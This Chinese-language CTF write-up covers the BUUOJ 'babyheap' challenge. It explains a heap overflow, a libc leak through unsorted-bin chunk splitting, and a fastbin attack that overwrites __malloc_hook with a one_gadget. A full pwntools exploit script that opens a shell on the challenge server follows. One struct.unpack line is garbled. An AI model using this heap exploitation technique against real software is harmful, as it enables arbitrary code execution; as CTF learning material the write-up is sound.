BUUOJ babyheap 经验总结

漏洞点:
BUUOJ babyheap 经验总结_第1张图片
在fill()函数中 输入的content 大小是由我们指定的,没有检查边界,所以会造成堆溢出

利用思路:

泄露libc地址:
这个程序的free()函数做的很彻底,标志位, 堆块大小,堆块指针全部置为0,并且malloc chunk的时候会把创建的chunk的数据区全部置0,这就不能向 已经free的chunk写入数据,free过的chunk也不能直接引用

一开始想不到怎么泄露libc地址。。
看了大佬的wp后明白了

如果unsorted bin只有一个chunk,并且这个chunk在上一次分配时被使用过,并且所需分配的chunk大小属于small bins,并且chunk的大小大于等于需要分配的大小,这种情况下就直接将改chunk进行切割,分配结束,否则将根据chunk的空间大小将其放入small bins或是large bins中

若unsortedbin中存在chunk, 在分配chunk 时在fastbin中没有查找到适合大小的chunk,则会从unsortedbins的chunk(大小要大于待分配的chunk)中切割适合大小的chunk返回,被分割后的chunk则继续留在unsortedbin中,利用这个特性可以泄露libc地址

具体操作:
allocate(0x60) #0
allocate(0x60) #1
allocate(0x60) #2
allocate(0x60) #3

1.利用堆溢出将chunk1的大小覆盖为0xe1,之后再free掉这个堆块,那么这个大小为0xe1的堆块会进入unsortedbin中

2.再allocate(0x60) 因为fastbin中没有合适的chunk所以会从unsortedbin中切割,返回大小为0x70 的chunk,剩下的一半留在unsortedbin中,fd, bk指针都指向libc地址,chunk2 的指针就指向剩下的chunk

3.再dump chunk2就可以泄露libc地址了

覆盖malloc_hook
泄露libc地址后接下来就好办了,再次利用堆溢出覆盖已被free的chunk的fd指针,再调用allocate 和 fill函数覆盖malloc_hook为one_gadget 就可以getshell了

EXP:

from pwn import *
import struct

context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0

if debug == 0:
	p = process("./babyheap")
	if d == 1:
		gdb.attach(proc.pidof(p)[0])
else:
	p = remote("pwn.buuoj.cn", 20001)

def add(size):
	p.sendlineafter("Command: ", "1")
	
	p.sendlineafter("Size: ", str(size))

def data(index, size, content):
	p.sendlineafter("Command: ", "2")

	p.sendlineafter("Index: ", str(index))
	p.sendlineafter("Size: ", str(size))
	p.sendlineafter("Content: ", content)

def free(index):
	p.sendlineafter("Command: ", "3")

	p.sendlineafter("Index: ", str(index))

def dump(index):
	p.sendlineafter("Command: ", "4")

	p.sendlineafter("Index: ", str(index))

def exit():
	p.sendlineafter("Command: ", "5")

elf = ELF("./babyheap")
libc = ELF("./x64_libc.so.6")

add(0x60)   #0

add(0x60)   #1

add(0x60)  #2

add(0x60)   #3

add(0x60)   #4

add(0x60)   #5

add(0x60)  #6

payload = 'a'*0x60 + p64(0) + p64(0xe1)

data(0, len(payload), payload)    

free(1)

add(0x60)

dump(2)

p.recvline()
leak = p.recvline()[:6]
print "leak->" + leak

libc_addr = struct.unpack(", leak+"\x00\x00")[0]
print "libc_addr->" + hex(libc_addr)

#raw_input()
libc_base = libc_addr - 0x3C4B78

malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook->" + hex(malloc_hook)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4526a

free(5)

payload = 'a'*0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
data(4, len(payload), payload)

#raw_input()

add(0x60)  #1

#add(0x60)  #5

add(0x60)  #7

#raw_input()

payload = '\x00'*0x13 + p64(one_gadget)

data(7, len(payload), payload)

#raw_input()
p.sendlineafter("Command: ", "1")

p.sendlineafter("Size: ", "1")

p.interactive()

结果:
BUUOJ babyheap 经验总结_第2张图片

你可能感兴趣的:(PWN)